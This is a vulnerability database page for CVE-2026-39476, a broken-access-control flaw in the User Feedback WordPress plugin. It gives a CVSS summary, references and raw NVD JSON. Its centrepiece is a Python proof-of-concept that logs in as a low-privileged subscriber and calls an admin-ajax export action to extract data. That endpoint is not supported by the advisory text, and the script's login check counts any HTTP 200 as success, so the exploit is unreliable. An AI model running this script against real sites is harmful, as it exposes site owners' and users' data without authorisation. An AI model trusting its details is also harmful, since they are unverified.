CVE-2026-39476

Description

Missing Authorization vulnerability in Syed Balkhi User Feedback userfeedback-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Feedback: from n/a through <= 1.10.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Syed Balkhi User Feedback <= 1.10.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-39476: Missing Authorization in User Feedback Plugin
# This script demonstrates how a low-privileged user can access admin-only endpoints.

import requests

TARGET_URL = "http://target-wordpress-site.com"
LOGIN_URL = f"{TARGET_URL}/wp-login.php"
VULN_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php?action=userfeedback_export_data"

# Low-privileged user credentials
USERNAME = "subscriber"
PASSWORD = "password"

session = requests.Session()

# 1. Authenticate as a low-privileged user
login_data = {
    "log": USERNAME,
    "pwd": PASSWORD,
    "redirect_to": "",
    "wp-submit": "Log In"
}

print(f"[*] Logging in as {USERNAME}...")
response = session.post(LOGIN_URL, data=login_data)

if "wp-admin" in response.text or response.status_code == 200:
    print("[+] Login successful.")
    
    # 2. Expit Missing Authorization to access sensitive data
    print(f"[*] Sending request to vulnerable endpoint: {VULN_ENDPOINT}")
    exploit_response = session.get(VULN_ENDPOINT)
    
    if exploit_response.status_code == 200 and "data" in exploit_response.text:
        print("[+] Exploit successful! Sensitive data extracted:")
        print(exploit_response.text[:500]) # Print first 500 chars
    else:
        print("[-] Exploit failed or endpoint not vulnerable.")
else:
    print("[-] Login failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39476
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39476
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39476/
[4] VulDB https://vuldb.com/cve/CVE-2026-39476
[5] https://patchstack.com/database/Wordpress/Plugin/userfeedback-lite/vulnerability/wordpress-user-feedback-plugin-1-10-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39476", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:22.393", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Syed Balkhi User Feedback userfeedback-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects User Feedback: from n/a through <= 1.10.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/userfeedback-lite/vulnerability/wordpress-user-feedback-plugin-1-10-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}